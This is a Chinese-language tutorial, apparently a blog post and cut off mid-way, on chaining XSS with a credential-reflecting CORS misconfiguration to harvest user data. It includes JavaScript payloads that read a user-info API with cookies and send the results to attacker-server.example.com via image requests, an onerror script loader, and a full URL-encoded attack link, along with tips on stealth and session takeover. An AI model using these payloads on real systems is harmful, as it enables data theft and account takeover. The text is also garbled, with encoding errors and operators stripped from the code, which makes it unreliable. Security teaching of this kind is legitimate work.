據(jù)收割攻擊鏈路的原理與實(shí)戰(zhàn)復(fù)現(xiàn))
1. 組合拳思路解析XSS和CORS怎么就打到了一起先聊一個(gè)很現(xiàn)實(shí)的問(wèn)題單看XSS跨站腳本和CORS跨域資源共享很多人都不陌生但真正把它們串成一條完整的攻擊鏈路卻很少有人能說(shuō)清楚。我早期做滲透測(cè)試的時(shí)候也是這樣X(jué)SS拿下了也就彈個(gè)alert證明一下存在然后寫(xiě)進(jìn)報(bào)告收工。但有一次在某業(yè)務(wù)系統(tǒng)的授權(quán)測(cè)試中我偶然發(fā)現(xiàn)在目標(biāo)站點(diǎn)的某個(gè)接口上CORS配置居然把信任域直接設(shè)成了通配符加反射來(lái)源而恰好旁邊就躺著一個(gè)反射型XSS點(diǎn)——這兩個(gè)漏洞單個(gè)看都屬于中??僧?dāng)攻擊者精心拼接起來(lái)就變成了一條可以靜默竊取用戶(hù)數(shù)據(jù)的完整收割鏈。所謂的“XSSCORS組合拳”本質(zhì)上是把兩個(gè)不同維度的問(wèn)題串聯(lián)XSS負(fù)責(zé)在受害者瀏覽器里執(zhí)行JavaScript而CORS配置錯(cuò)誤則負(fù)責(zé)擴(kuò)寬跨域讀取數(shù)據(jù)的權(quán)限邊界。光有XSS你只能在同一源內(nèi)操作DOM、發(fā)同源請(qǐng)求跨域讀取數(shù)據(jù)會(huì)被同源策略擋住光有CORS配置錯(cuò)誤你還要依賴(lài)攻擊者能控制受害者的瀏覽器去發(fā)起請(qǐng)求——釣魚(yú)、社工、惡意網(wǎng)站跳轉(zhuǎn)哪個(gè)都不夠隱蔽。組合之后的效果是我在測(cè)試中很常用的思路用XSS作為“撬棍”撬開(kāi)受害者的瀏覽器執(zhí)行環(huán)境再借錯(cuò)誤的CORS配置去讀取本不該被讀取的跨域響應(yīng)。整個(gè)攻擊鏈路的終點(diǎn)就是用戶(hù)數(shù)據(jù)被批量拉走放在我的服務(wù)器上等著看——當(dāng)然這是在靶場(chǎng)和授權(quán)系統(tǒng)里做驗(yàn)證生產(chǎn)環(huán)境沒(méi)干過(guò)這種事。那你肯定要問(wèn)了這個(gè)組合到底適合什么場(chǎng)景什么樣的項(xiàng)目能這樣打根據(jù)我的經(jīng)驗(yàn)典型的目標(biāo)系統(tǒng)通常有三個(gè)特征第一存在可被利用的XSS點(diǎn)哪怕是存儲(chǔ)型、反射型都行不要求權(quán)限多高第二目標(biāo)API或頁(yè)面存在CORS信任策略配置缺陷比如把Origin原樣反射、信任了不可控的域、甚至直接開(kāi)了Access-Control-Allow-Origin: *還配合了Access-Control-Allow-Credentials: true第三目標(biāo)站點(diǎn)的會(huì)話(huà)憑據(jù)走的是Cookie或者Authorization頭這樣跨域請(qǐng)求才有攜帶憑證的價(jià)值。如果你的目標(biāo)同時(shí)滿(mǎn)足這三條那這套組合拳基本就是“知識(shí)改變命運(yùn)”式的高效比單點(diǎn)爆破畫(huà)面感強(qiáng)太多了。這篇文章的定位是給有一定Web安全基礎(chǔ)、想理解漏洞組合而非只會(huì)單點(diǎn)掃描的人看的。我會(huì)把原理、適用條件、完整復(fù)現(xiàn)過(guò)程、問(wèn)題排查方法以及防御側(cè)的加固策略一次性講透所有代碼都是基于授權(quán)靶場(chǎng)和本地實(shí)驗(yàn)環(huán)境整理的。順著這條鏈路走完你就會(huì)明白為什么現(xiàn)在越來(lái)越多的SRC報(bào)告把XSS和CORS綁定提交——不是安全研究者喜歡“報(bào)告注水”而是這類(lèi)組合漏洞的實(shí)際影響確實(shí)遠(yuǎn)大于兩個(gè)漏洞各自的影響之和。2. 前置知識(shí)補(bǔ)課XSS和CORS各自是怎么工作的2.1 XSS的本質(zhì)打破“信任用戶(hù)輸入”的默認(rèn)假設(shè)XSS的全稱(chēng)是Cross-Site Scripting中文叫跨站腳本。它利用的是Web應(yīng)用對(duì)用戶(hù)輸入處理不當(dāng)、過(guò)濾不嚴(yán)的問(wèn)題讓惡意HTML或JavaScript代碼被瀏覽器當(dāng)成頁(yè)面的一部分執(zhí)行。從分類(lèi)上說(shuō)主流分三種反射型一次性藏在URL里、存儲(chǔ)型持久化躺在數(shù)據(jù)庫(kù)里和DOM型不經(jīng)過(guò)服務(wù)端純前端DOM解析導(dǎo)致。理解XSS對(duì)組合攻擊路線的意義關(guān)鍵在于認(rèn)清它的能力模型。一次成功的XSS意味著攻擊者能在受害者的瀏覽器里以受害者的身份執(zhí)行任意JavaScript——注意這個(gè)“受害者身份”四個(gè)字它決定了后續(xù)所有跨域請(qǐng)求都帶著真實(shí)的Cookie、真實(shí)的Token、真實(shí)的登錄態(tài)。很多開(kāi)發(fā)者覺(jué)得XSS無(wú)非就是彈個(gè)框、改個(gè)頁(yè)面文字影響很低但實(shí)際上在組合漏洞里XSS扮演的是“代碼執(zhí)行入口”的角色影響力瞬間放大到數(shù)據(jù)層面。我在項(xiàng)目里衡量XSS可利用性的時(shí)候最看重三個(gè)維度。一是觸發(fā)條件是否穩(wěn)定存儲(chǔ)型肯定優(yōu)于反射型因?yàn)榉瓷湫瓦€要誘導(dǎo)用戶(hù)點(diǎn)鏈接用戶(hù)如果用的是現(xiàn)代瀏覽器內(nèi)置的XSS過(guò)濾器現(xiàn)在叫XSS Auditor或類(lèi)似機(jī)制雖然很多已經(jīng)改版了可能還會(huì)攔截二是控制范圍有多大一點(diǎn)能Insert多少字符、能不能帶出站外請(qǐng)求、能不能引用外部JS三是目標(biāo)頁(yè)面所在的環(huán)境是否有重要的接口權(quán)限和敏感數(shù)據(jù)。三者都滿(mǎn)足的情況下XSS就已經(jīng)不是“存在漏洞”那么簡(jiǎn)單了而是“存在被利用的通道”。2.2 CORS的機(jī)制跨域請(qǐng)求怎么被放行或被攔截CORS全稱(chēng)是Cross-Origin Resource Sharing是瀏覽器基于同源策略之上的一種“受控放行”機(jī)制。默認(rèn)情況下A域名里的JavaScript是不能讀取B域名接口響應(yīng)的但Web業(yè)務(wù)又確實(shí)需要跨域調(diào)用于是CORS規(guī)范出現(xiàn)服務(wù)器在響應(yīng)頭里通過(guò)Access-Control-Allow-Origin告訴瀏覽器“我這個(gè)接口允許哪些來(lái)源的跨域請(qǐng)求讀取響應(yīng)”配合Access-Control-Allow-Credentials聲明是否允許攜帶Cookie等憑證。關(guān)鍵點(diǎn)來(lái)了CORS是瀏覽器的強(qiáng)制機(jī)制但對(duì)服務(wù)器的配置沒(méi)有強(qiáng)制約束。如果配置員圖省事把Access-Control-Allow-Origin寫(xiě)死成*或者直接從請(qǐng)求頭Origin中反射來(lái)源那瀏覽器就會(huì)認(rèn)為“服務(wù)器主動(dòng)授權(quán)我這個(gè)來(lái)源跨域讀取”同源策略的防線就形同虛設(shè)了。尤其是Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true同時(shí)出現(xiàn)時(shí)按照規(guī)范瀏覽器是會(huì)拒絕攜帶Cookie的——真正危險(xiǎn)的是那種“反射任意Origin 允許Credentials”的組合這才是攻擊者請(qǐng)求一個(gè)來(lái)源就能拿到帶Cookie跨域響應(yīng)的情況。需要額外提醒的是CORS并不攔截“請(qǐng)求發(fā)出”只限制“響應(yīng)讀取”。就算服務(wù)器沒(méi)有配置CORS跨域請(qǐng)求本身也能送到服務(wù)器服務(wù)器該改數(shù)據(jù)還是改數(shù)據(jù)只不過(guò)攻擊者的JavaScript讀不到響應(yīng)內(nèi)容。這就是為什么很多CSRF漏洞即使沒(méi)有CORS也能利用——攻擊者不需要讀取響應(yīng)執(zhí)行寫(xiě)操作就行。而CORS配置錯(cuò)誤的殺傷力在于它把“盲打”變成了“明取”攻擊者不僅能讓受害者的瀏覽器發(fā)請(qǐng)求還能拿到返回的具體數(shù)據(jù)比如個(gè)人信息、訂單列表、接口密鑰。2.3 為什么單漏洞和組合漏洞的攻擊效果完全不同單獨(dú)一個(gè)XSS在注入站點(diǎn)內(nèi)部可以做很多事篡改頁(yè)面、竊取同源Cookie、以用戶(hù)身份發(fā)起同源操作。但瀏覽器同源策略一攔想讀取其他子域名或其他業(yè)務(wù)域的數(shù)據(jù)就很吃力除非目標(biāo)站點(diǎn)把所有服務(wù)都收斂在同一個(gè)源里。單獨(dú)一個(gè)CORS配置錯(cuò)誤雖然理論上能跨域讀接口數(shù)據(jù)但攻擊者無(wú)法憑空把自己的惡意腳本送到受害者的瀏覽器里執(zhí)行要么騙用戶(hù)點(diǎn)擊惡意鏈接要么在其他站點(diǎn)掛馬跳轉(zhuǎn)成功率不穩(wěn)定。組合之后邏輯就順了XSS負(fù)責(zé)“進(jìn)場(chǎng)”CORS負(fù)責(zé)“擴(kuò)大戰(zhàn)果”。XSS注入一段腳本這段腳本在受害者瀏覽器里動(dòng)態(tài)構(gòu)造針對(duì)目標(biāo)API的跨域請(qǐng)求利用錯(cuò)誤的CORS配置讀取響應(yīng)然后把數(shù)據(jù)回傳到攻擊者的服務(wù)器。整個(gè)過(guò)程受害者完全無(wú)感數(shù)據(jù)在后臺(tái)靜默流轉(zhuǎn)攻擊者拿到的不是一枚單純的會(huì)話(huà)令牌而是整片業(yè)務(wù)數(shù)據(jù)。我用一個(gè)生活化的類(lèi)比來(lái)幫助理解XSS就像你偷偷溜進(jìn)了一棟大樓的監(jiān)控室能在里面操作屏幕同源策略相當(dāng)于每塊屏幕只能看對(duì)應(yīng)房間的監(jiān)控畫(huà)面而CORS配置錯(cuò)誤就相當(dāng)于有人把某些屏幕的權(quán)限設(shè)置成了“任何人拿到這個(gè)房間的鑰匙就能看”。組合攻擊就是“溜進(jìn)監(jiān)控室XSS 拿到跨房間的鑰匙CORS配置缺陷”最終達(dá)成監(jiān)控全樓讀取跨域數(shù)據(jù)的效果。理解了這一層后面的復(fù)現(xiàn)步驟就是順?biāo)浦鄣氖铝恕?. 組合攻擊鏈路的設(shè)計(jì)核心要點(diǎn)與每一步背后的邏輯3.1 攻擊鏈路線索拆解從注入點(diǎn)到跨域讀取的完整路徑組合攻擊鏈路不能靠碰運(yùn)氣每一步都需要精確設(shè)計(jì)和驗(yàn)證。我在模擬項(xiàng)目X的靶場(chǎng)里復(fù)現(xiàn)時(shí)把整條鏈路拆成五個(gè)階段每個(gè)階段的輸入輸出都是環(huán)環(huán)相扣的像流水線一樣運(yùn)轉(zhuǎn)。你可以直接把下面的路徑當(dāng)成一張路線圖來(lái)參考第一階段是漏洞發(fā)現(xiàn)。對(duì)目標(biāo)系統(tǒng)做XSS點(diǎn)探測(cè)同時(shí)對(duì)API接口做CORS策略探測(cè)。這兩個(gè)動(dòng)作可以并行但最終要把結(jié)果匯總到一起判斷可行性。第二階段是注入點(diǎn)利用。選定一個(gè)可穩(wěn)定觸發(fā)XSS的點(diǎn)位在靶場(chǎng)里我會(huì)選擇搜索框或者昵稱(chēng)字段這類(lèi)常見(jiàn)反射點(diǎn)把JavaScript代碼通過(guò)合適的編碼、閉合和事件觸發(fā)方式注入進(jìn)去保證代碼成功執(zhí)行。第三階段是跨域請(qǐng)求構(gòu)造。XSS腳本內(nèi)部用fetch或XMLHttpRequest向目標(biāo)API發(fā)起跨域請(qǐng)求請(qǐng)求頭里明確帶上Origin字段——這個(gè)字段的值要和目標(biāo)CORS策略信任模式匹配確保瀏覽器允許讀取響應(yīng)。第四階段是數(shù)據(jù)回傳。XSS腳本讀取到響應(yīng)后把數(shù)據(jù)拼接成一個(gè)帶參URL再以new Image().src或者動(dòng)態(tài)創(chuàng)建cript標(biāo)簽等方式發(fā)出回傳請(qǐng)求最終落到攻擊者自己的服務(wù)器上。第五階段是驗(yàn)證閉環(huán)。攻擊者服務(wù)器收到數(shù)據(jù)后解析日志確認(rèn)數(shù)據(jù)完整性然后整個(gè)攻擊鏈路的PoC才算跑通。這一步是很多人容易忽略的——光看到代碼執(zhí)行還不夠必須確認(rèn)數(shù)據(jù)真的“出來(lái)了”組合利用才算成功。我在設(shè)計(jì)鏈路時(shí)一直堅(jiān)持一個(gè)原則每一步都要盡量“隱身”。比如構(gòu)造跨域請(qǐng)求時(shí)用fetch而不是XMLHttpRequest代碼簡(jiǎn)潔、不出錯(cuò)概率低比如回傳數(shù)據(jù)時(shí)選用new Image()方式即使被網(wǎng)絡(luò)層抓包也只是一個(gè)正常的圖片請(qǐng)求不會(huì)暴露意圖。攻擊鏈路的優(yōu)雅程度往往決定了它在實(shí)戰(zhàn)環(huán)境里的可靠性。3.2 工具選型與瓶頸哪些環(huán)節(jié)最容易把人卡住組合攻擊從頭到尾涉及大量信息搜集、驗(yàn)證和調(diào)試環(huán)節(jié)工具選不對(duì)能讓人抓狂一整天。我把常用工具按照用途和優(yōu)先級(jí)別整理成了一張表你可以對(duì)照著參考工具/平臺(tái)用途定位使用心得瀏覽器開(kāi)發(fā)者工具手工驗(yàn)證CORS行為、調(diào)試Payload網(wǎng)絡(luò)面板里直接查看響應(yīng)頭省去了手工構(gòu)造請(qǐng)求的麻煩Burp SuiteHTTP請(qǐng)求篡改、CORS策略探測(cè)、XSS驗(yàn)證通過(guò)Repeater快速修改Origin頭觀察響應(yīng)頭是否反射是最核心的工具XSS平臺(tái)/自建接收服務(wù)器驗(yàn)證XSS是否觸發(fā)、接收回傳數(shù)據(jù)自建時(shí)用Python寫(xiě)個(gè)簡(jiǎn)單的HTTP Server接收日志即可靈活可控在線編碼工具/Payload生成器對(duì)各類(lèi)型Payload做編碼繞過(guò)注意環(huán)境隔離有些在線工具本身就有收集Payload的嫌疑敏感項(xiàng)目慎用自動(dòng)化漏洞掃描器輔助發(fā)現(xiàn)XSS和CORS問(wèn)題這類(lèi)工具的用處是縮小范圍千萬(wàn)別直接信任掃描結(jié)果誤報(bào)率很高工具的抉擇背后是對(duì)攻擊階段的理解。CORS策略探測(cè)階段Burp的Repeater比任何腳本都好用因?yàn)槟阋焖俑腛rigin頭看響應(yīng)變化反復(fù)調(diào)試的體驗(yàn)至關(guān)重要。XSS驗(yàn)證階段直接用瀏覽器控制臺(tái)注入十幾次比每次跑Burp省時(shí)間。數(shù)據(jù)回傳階段自建一個(gè)帶請(qǐng)求日志的Python服務(wù)器最靠譜第三方平臺(tái)雖然省事但你無(wú)法確定它會(huì)不會(huì)把你的數(shù)據(jù)再賣(mài)給別的人。實(shí)際測(cè)試中容易被卡住的瓶頸有三個(gè)。第一個(gè)是CORS策略的細(xì)節(jié)判定——很多接口雖然有Access-Control-Allow-Origin反射但沒(méi)有開(kāi)Access-Control-Allow-Credentials這種屬于“能讀不能帶憑證”對(duì)Cookie型業(yè)務(wù)影響直接少了一半判定要準(zhǔn)確。第二個(gè)是XSS觸發(fā)時(shí)機(jī)的把握——有些反射點(diǎn)需要特定編碼或雙層編碼才能繞過(guò)WAF這時(shí)候不能蠻干要分析目標(biāo)的技術(shù)棧和過(guò)濾方式。第三個(gè)是回傳服務(wù)器可達(dá)性——如果你的VPS或服務(wù)器被目標(biāo)網(wǎng)絡(luò)策略攔了payload再完美也只能自嗨得提前確認(rèn)外聯(lián)通暢。3.3 為什么這套組合特別適合“用戶(hù)數(shù)據(jù)收割”這一目標(biāo)先說(shuō)結(jié)論在Web前端能獲取的數(shù)據(jù)里CORS放開(kāi)跨域讀取的那部分恰好就是我們?cè)诮M合攻擊里最想拿的那部分。原因很簡(jiǎn)單現(xiàn)代業(yè)務(wù)的架構(gòu)往往是“統(tǒng)一登錄 多端接口”用戶(hù)的主數(shù)據(jù)個(gè)人信息、訂單、地址都集中在幾個(gè)核心API里。這些API內(nèi)部顯然是要校驗(yàn)登錄態(tài)的但面對(duì)跨域讀取的CORS策略卻不設(shè)防。攻擊者拿到XSS執(zhí)行權(quán)限后只要把腳本里的請(qǐng)求地址對(duì)準(zhǔn)這些核心API就能以受害者身份讀取全部個(gè)人數(shù)據(jù)。在模擬項(xiàng)目X的復(fù)現(xiàn)中我構(gòu)造了一個(gè)攻擊頁(yè)面用一個(gè)存儲(chǔ)型XSS掛到目標(biāo)站點(diǎn)的用戶(hù)資料頁(yè)訪問(wèn)該頁(yè)面的用戶(hù)Cookie自動(dòng)被帶到跨域請(qǐng)求里目標(biāo)API把用戶(hù)的手機(jī)號(hào)、郵箱、收貨地址和最近訂單列表全部吐出來(lái)數(shù)據(jù)回傳我的接收服務(wù)器后我再把這些記錄和Cookie里的會(huì)話(huà)令牌整合登錄態(tài)直接接管。是不是感覺(jué)有點(diǎn)太順了這就是為什么組合漏洞的影響級(jí)別會(huì)被拉得那么高——因?yàn)閿?shù)據(jù)的價(jià)值太直接了。還有一點(diǎn)值得單獨(dú)說(shuō)明很多系統(tǒng)的“用戶(hù)數(shù)據(jù)”不只是個(gè)人信息還包括上傳的私有文件、好友列表、群成員信息等。這些數(shù)據(jù)對(duì)應(yīng)的API如果也存在CORS配置缺陷配合XSS收割起來(lái)同樣毫無(wú)壓力。防御方看這類(lèi)問(wèn)題的時(shí)候不能只把它當(dāng)做一個(gè)技術(shù)bug來(lái)修而是要意識(shí)到“攻擊者的目標(biāo)從始至終是數(shù)據(jù)漏洞只是手段”。4. 實(shí)操落地完整復(fù)現(xiàn)一次XSSCORS組合漏洞利用4.1 環(huán)境準(zhǔn)備與靶場(chǎng)搭建一個(gè)干凈可控的測(cè)試空間實(shí)操之前必須把話(huà)說(shuō)在前面所有步驟只能在授權(quán)靶場(chǎng)、CTF環(huán)境和本地實(shí)驗(yàn)環(huán)境里做千萬(wàn)不要拿這套流程去打任何未經(jīng)授權(quán)的線上系統(tǒng)。我這里搭建的是一個(gè)完全本地化的模擬環(huán)境分為靶機(jī)端和攻擊者端全部跑在Docker容器里網(wǎng)絡(luò)相互隔離也不會(huì)影響外部網(wǎng)絡(luò)。靶機(jī)端我用了經(jīng)典的組合一個(gè)基于Express框架寫(xiě)的Web應(yīng)用模擬一個(gè)帶登錄功能的用戶(hù)中心。它有兩條路由一條是/search?q反射型XSS點(diǎn)直接把參數(shù)值拼接到HTML里沒(méi)有任何過(guò)濾另一條是/api/userinfo接口返回當(dāng)前用戶(hù)的手機(jī)號(hào)、郵箱和最近訂單同時(shí)該接口的CORS配置是通過(guò)中間件加了一行響應(yīng)頭把Origin請(qǐng)求頭原樣反射到Access-Control-Allow-Origin并且置Access-Control-Allow-Credentials: true這是個(gè)非常有代表性的錯(cuò)誤配置示例。攻擊者端跑著一個(gè)Python寫(xiě)的回傳服務(wù)器默認(rèn)監(jiān)聽(tīng)8080端口收到GET請(qǐng)求就把URL參數(shù)里的數(shù)據(jù)記錄到本地日志文件。整個(gè)環(huán)境就三個(gè)容器靶機(jī)Web服務(wù)、受害者瀏覽器我用的是本機(jī)的Chrome配合一個(gè)代理指向靶機(jī)、攻擊者回傳服務(wù)器。搭建完成后我先手工在瀏覽器里登錄了一下靶機(jī)后臺(tái)確保存在有效的會(huì)話(huà)Cookie然后把整條鏈路按下面的步驟跑通。4.2 XSS注入Payload從觸發(fā)條件到編碼繞過(guò)的完整構(gòu)造在靶場(chǎng)的/search頁(yè)面輸入?yún)?shù)q會(huì)被直接帶進(jìn)搜索結(jié)果頁(yè)的h1標(biāo)簽里。構(gòu)造反射型XSS的經(jīng)典方式是把q的值寫(xiě)成亂閉合加腳本的形式比如q/h1scriptalert(1)/script但這個(gè)太粗糙了實(shí)戰(zhàn)里會(huì)被各種過(guò)濾機(jī)制攔住。我在模擬項(xiàng)目X里構(gòu)造的是一個(gè)更貼合實(shí)際場(chǎng)景的Payload目標(biāo)是不彈窗、不暴露攻擊意圖、內(nèi)容盡可能短為后續(xù)執(zhí)行跨域請(qǐng)求腳本做鋪路。核心腳本拆開(kāi)看是這樣的var xhr new XMLHttpRequest(); xhr.open(GET, http://victim-api.example.com/api/userinfo, true); xhr.withCredentials true; xhr.onreadystatechange function() { if (xhr.readyState 4 xhr.status 200) { // 數(shù)據(jù)拿到后編碼成參數(shù)拼到回傳地址上 var img new Image(); img.src http://attacker-server.example.com:8080/collect?data btoa(unescape(encodeURIComponent(xhr.responseText))); } }; xhr.send();當(dāng)然XSS注入點(diǎn)不一定永遠(yuǎn)是裸的script插入很多系統(tǒng)的過(guò)濾規(guī)則會(huì)攔截script標(biāo)簽這時(shí)候就需要考慮用事件屬性或svg標(biāo)簽觸發(fā)的替代方案。比如在真實(shí)反饋中我遇到過(guò)過(guò)濾了script字符串但沒(méi)過(guò)濾img標(biāo)簽的情況就可以用img srcx onerrorvar sdocument.createElement(script);s.srchttp://attacker-server.example.com/payload.js;document.body.appendChild(s)這種方式的關(guān)鍵在于“外鏈腳本”把復(fù)雜度全部收斂到攻擊者服務(wù)器的JS文件里注入點(diǎn)只留一個(gè)非常短的加載器這樣既繞過(guò)了多數(shù)基于標(biāo)簽黑名單的過(guò)濾又方便后續(xù)迭代payload不用反復(fù)重新注入。構(gòu)造payload的時(shí)候有兩點(diǎn)坑我踩過(guò)需要提醒你注意。第一點(diǎn)是編碼環(huán)境如果你在瀏覽器控制臺(tái)手動(dòng)粘貼payload時(shí)會(huì)觸發(fā)編輯器自動(dòng)轉(zhuǎn)義導(dǎo)致傳入的引號(hào)和尖括號(hào)變成全角字符代碼直接失效我習(xí)慣用Burp或者Python腳本提交請(qǐng)求來(lái)避免這個(gè)問(wèn)題。第二點(diǎn)是觸發(fā)時(shí)機(jī)反射型XSS的腳本執(zhí)行依賴(lài)頁(yè)面加載如果目標(biāo)頁(yè)面是異步渲染的你插進(jìn)去的節(jié)點(diǎn)可能先被清空再被重繪元素事件永遠(yuǎn)綁不上——這種情況優(yōu)先考慮存儲(chǔ)型XSS或者使用socket加載邏輯等頁(yè)面穩(wěn)定后再執(zhí)行。4.3 CORS跨域請(qǐng)求的構(gòu)造細(xì)節(jié)為什么你的請(qǐng)求被瀏覽器攔了過(guò)去我在教新人調(diào)試組合漏洞時(shí)最常見(jiàn)的困惑是明明服務(wù)器返回了數(shù)據(jù)但我的跨域請(qǐng)求回調(diào)里就是讀不到。這個(gè)問(wèn)題的根源往往是細(xì)節(jié)沒(méi)做到位跨域請(qǐng)求的“瀏覽器放行”邏輯有三層關(guān)卡需要全過(guò)任何一環(huán)出問(wèn)題都會(huì)卡住。第一層是預(yù)檢請(qǐng)求。如果你的跨域請(qǐng)求是簡(jiǎn)單請(qǐng)求GET/POST且Content-Type是表單類(lèi)型瀏覽器會(huì)直接發(fā)實(shí)際請(qǐng)求但只要你加了自定義請(qǐng)求頭或者Content-Type用了application/json就會(huì)觸發(fā)OPTIONS預(yù)檢。預(yù)檢請(qǐng)求本身不帶Cookie、不發(fā)業(yè)務(wù)數(shù)據(jù)純粹是問(wèn)服務(wù)器“我這個(gè)來(lái)源能不能這么干”。如果服務(wù)器對(duì)OPTIONS響應(yīng)里沒(méi)有正確返回CORS頭后面的實(shí)際請(qǐng)求根本不會(huì)發(fā)出去。第二層是實(shí)際響應(yīng)頭校驗(yàn)。瀏覽器在收到實(shí)際請(qǐng)求的響應(yīng)后會(huì)檢查Access-Control-Allow-Origin是否包含當(dāng)前頁(yè)面的源以及Access-Control-Allow-Credentials是否為true。如果Allow-Origin返回的是*但請(qǐng)求攜帶了Cookie瀏覽器會(huì)直接拒絕把響應(yīng)交給JavaScript——這是規(guī)范明確規(guī)定的。第三層是憑證模式設(shè)置。在fetch里必須寫(xiě)credentials: include在XMLHttpRequest里必須設(shè)置xhr.withCredentials true否則即便服務(wù)器允許帶憑證瀏覽器不會(huì)在跨域請(qǐng)求中攜帶Cookie后端拿不到用戶(hù)身份接口要么返回401要么返回空數(shù)據(jù)。在靶場(chǎng)環(huán)境里我最終調(diào)試通過(guò)的跨域請(qǐng)求寫(xiě)法如下供參考fetch(http://victim-api.example.com/api/userinfo, { method: GET, credentials: include, headers: { Accept: application/json } }) .then(r r.json()) .then(data { var img new Image(); img.src http://attacker-server.example.com:8080/collect?data btoa(JSON.stringify(data)); });這里Accept頭不會(huì)觸發(fā)預(yù)檢屬于安全區(qū)credentials: include是必須項(xiàng)。我在實(shí)際項(xiàng)目里調(diào)試時(shí)如果看到瀏覽器控制臺(tái)報(bào)警“Response to preflight request doesnt pass access control check”或者“Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’”第一時(shí)間就是去檢查這兩條一是服務(wù)器CORS頭是否反射了允許的Origin二是Allow-Credentials和Allow-Origin匹配關(guān)系是否合法。4.4 數(shù)據(jù)回傳的隱蔽技巧new Image、navator.sendBeacon等方案的取舍跨域數(shù)據(jù)拿到手之后最忌諱的操作是把數(shù)據(jù)通過(guò)fetch再發(fā)一個(gè)POST到攻擊者服務(wù)器——瀏覽器會(huì)先發(fā)一個(gè)預(yù)檢頁(yè)面性能變差不說(shuō)還容易被日志系統(tǒng)注意到。更穩(wěn)妥的做法是借助HTTP請(qǐng)求的基本特性繞過(guò)CORS限制發(fā)請(qǐng)求不需要CORS讀響應(yīng)才需要。因此數(shù)據(jù)回傳只需要構(gòu)造一個(gè)GET請(qǐng)求把數(shù)據(jù)塞在URL參數(shù)里即可。我常用的回傳方案有三個(gè)按推薦度排序如下方案原理優(yōu)點(diǎn)缺點(diǎn)new Image().src動(dòng)態(tài)創(chuàng)建圖片請(qǐng)求GET攜帶參數(shù)代碼簡(jiǎn)潔自然無(wú)CORS問(wèn)題日志形態(tài)像普通圖片URL長(zhǎng)度限制約2KB-8KB不適合大量數(shù)據(jù)navigator.sendBeacon瀏覽器異步發(fā)送POST無(wú)CORS限制可傳較大數(shù)據(jù)量不受頁(yè)面卸載影響不受你控制的請(qǐng)求頭內(nèi)容格式有限動(dòng)態(tài)創(chuàng)建script標(biāo)簽通過(guò)JSONP風(fēng)格接口回傳可觸發(fā)回調(diào)函數(shù)靈活度高目標(biāo)服務(wù)器需要配合輸出JS格式回傳服務(wù)器要支持動(dòng)態(tài)響應(yīng)綜合考慮我在單次收割時(shí)最常用的是new Image().src。原因很簡(jiǎn)單移動(dòng)端網(wǎng)關(guān)和各類(lèi)安全設(shè)備對(duì)圖片請(qǐng)求的監(jiān)控力度遠(yuǎn)小于對(duì)跨域POST的監(jiān)控而且實(shí)現(xiàn)起來(lái)就一行代碼符合攻擊鏈路“輕量化”的原則。但如果數(shù)據(jù)量大比如要收割的是整頁(yè)用戶(hù)列表sendBeacon更靠譜它底層是一個(gè)不阻塞頁(yè)面卸載的POST雖然請(qǐng)求頭固定但接收端只要解析參數(shù)就行。在模擬項(xiàng)目X的實(shí)操記錄里我最終的PoC是把整條鏈接在XSS注入腳本里用IIFE立即執(zhí)行函數(shù)包起來(lái)避免變量污染頁(yè)面全局環(huán)境外層再包一層try/catch防止腳本出錯(cuò)導(dǎo)致頁(yè)面崩潰、暴露攻擊行為。整段代碼在編輯器里壓縮后只有幾百字節(jié)復(fù)制注入沒(méi)有任何壓力。4.5 完整攻擊鏈路的演示一次從登錄用戶(hù)到數(shù)據(jù)落地的全程實(shí)錄下面是我在靶場(chǎng)里完整跑通的一次操作記錄按時(shí)間順序描述方便你對(duì)照復(fù)現(xiàn)第一步我以攻擊者身份向目標(biāo)Web應(yīng)用提交一個(gè)搜索請(qǐng)求URL編碼后的完整payload為http://victim-app.example.com/search?q%3Cimg%20src%3Dx%20onerror%3D%22var%20s%3Ddocument.createElement(script)%3Bs.src%3Dhttp%3A%2F%2Fattacker-server.example.com%2Fpayload.js%3Bdocument.body.appendChild(s)%22%3E第二步payload.js里的核心代碼自動(dòng)執(zhí)行。它先嘗試請(qǐng)求/api/userinfo目標(biāo)服務(wù)器看到請(qǐng)求頭Origin: http://victim-app.example.com響應(yīng)頭里反射了同一個(gè)Origin并加上Access-Control-Allow-Credentials: true于是瀏覽器放行。這里的細(xì)節(jié)很有趣因?yàn)槲以谧⑷霑r(shí)讓頁(yè)面源和接口源一致所以實(shí)際請(qǐng)求其實(shí)算同源但只要我把頁(yè)面源換成我自己的惡意站比如誘導(dǎo)用戶(hù)訪問(wèn)攻擊者頁(yè)面CORS錯(cuò)誤配置就會(huì)讓跨域也變得可行。為了演示CORS跨域效果我還單獨(dú)構(gòu)造了一個(gè)惡意頁(yè)面仿冒受害者站點(diǎn)誘導(dǎo)用戶(hù)點(diǎn)擊這種情況下頁(yè)面源是http://attacker-page.example.com目標(biāo)API照樣反射了該OriginCookie照樣攜帶數(shù)據(jù)讀取成功。第三步腳本把響應(yīng)數(shù)據(jù)JSON格式化后用encodeURIComponent套了一層再btoa編碼拼到回傳地址上通過(guò)new Image().src發(fā)給攻擊者服務(wù)器。攻擊者服務(wù)器收到請(qǐng)求后在日志里記錄了一條GET /collect?dataMzE4MzIxOTAx...。第四步我用Python腳本解碼日志里的data參數(shù)還原出完整的用戶(hù)信息手機(jī)號(hào)、郵箱、收貨地址和訂單編號(hào)。至此從觸發(fā)XSS到數(shù)據(jù)落地的整條鏈路驗(yàn)證完畢。整個(gè)流程用到的代碼和腳本我整理成了一個(gè)模擬項(xiàng)目X的壓縮包放在本地實(shí)驗(yàn)室目錄里里面的README寫(xiě)明了環(huán)境搭建步驟和復(fù)現(xiàn)順序。你如果自己搭環(huán)境建議按照這個(gè)順序來(lái)先啟動(dòng)靶機(jī)服務(wù)再啟動(dòng)攻擊者回傳服務(wù)器然后打開(kāi)受害者瀏覽器登錄最后將兩條惡意URL分別驗(yàn)證——保證每一步都驗(yàn)證通過(guò)后再串起來(lái)跑否則出問(wèn)題的時(shí)候不知道鍋該甩給誰(shuí)。5. 實(shí)戰(zhàn)中的常見(jiàn)問(wèn)題與排查技巧實(shí)錄5.1 